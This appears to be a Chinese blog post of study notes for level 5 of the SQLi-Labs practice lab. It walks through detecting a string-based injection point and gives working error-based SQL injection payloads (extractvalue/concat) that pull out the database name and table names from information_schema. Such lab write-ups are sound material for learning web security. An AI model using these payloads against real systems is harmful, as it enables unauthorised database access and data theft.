sqllab第五关通关笔记

知识点:

  • 报错注入函数语法(详见第二关笔记)
  • 报错注入打印位数最多32位
  • 对于大于32位的数据最好使用截取函数进行控制;以保证输出完整
  • mysql表中的重点数据库
    • information_schema (mysql 5.0以上)
      • schemata 存放所有数据库名
        • schema_name
      • tables 存放所有表名
        • table_schema
        • table_name
      • columns 存放所有字段名
        • table_schema
        • table_name
        • column_name

首先检测注入类型

构造id=1/0

发现输出了一句话;没有报错;但也没有任何有价值的信息

构造id=1

发现输出和1/0一样;说明是字符型注入,而且回显信息固定,无价值

构造id=1'

发现报错了;好的;说明还是单引号的输入提取

进一步验证;构造id=1''

正常输出内容;确认这里存在字符型注入点

由于回显内容固定,所以不能采用联合注入了,只能进行错误注入了

构造payload:id=1' and extractvalue(1,concat(0x7e,database(),0x7e))+--+

成功输出了数据库的名字

下面进一步输出表的名字

构造payload:id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e))+--+

发现也是可以输出的;错误注入的效果还是挺大的

但是这里得注意一个问题:错误注入的输出限制是32位;最好采用截取函数进行控制

10

相关推荐
Allen_LVyingbo22 分钟前
数智读书笔记系列035《未来医疗:医疗4.0引领第四次医疗产业变革》
人工智能·经验分享·笔记·健康医疗
岑梓铭30 分钟前
考研408《计算机组成原理》复习笔记,第三章(3)——多模块存储器
笔记·考研·408·计算机组成原理
菜菜why43 分钟前
MSPM0G3507学习笔记(一) 重置版:适配逐飞库的ti板环境配置
笔记·学习·电赛·嵌入式软件·mspm0
c7691 小时前
【文献笔记】Automatic Chain of Thought Prompting in Large Language Models
人工智能·笔记·语言模型·论文笔记
X_StarX2 小时前
【Unity笔记01】基于单例模式的简单UI框架
笔记·ui·unity·单例模式·游戏引擎·游戏开发·大学生
智者知已应修善业4 小时前
【51单片机用数码管显示流水灯的种类是按钮控制数码管加一和流水灯】2022-6-14
c语言·经验分享·笔记·单片机·嵌入式硬件·51单片机
孞㐑¥7 小时前
Linux之Socket 编程 UDP
linux·服务器·c++·经验分享·笔记·网络协议·udp
sealaugh3210 小时前
aws(学习笔记第四十八课) appsync-graphql-dynamodb
笔记·学习·aws
freexyn12 小时前
Matlab自学笔记六十一:快速上手解方程
数据结构·笔记·matlab
很小心的小新13 小时前
12、jvm运行期优化
java·开发语言·jvm·笔记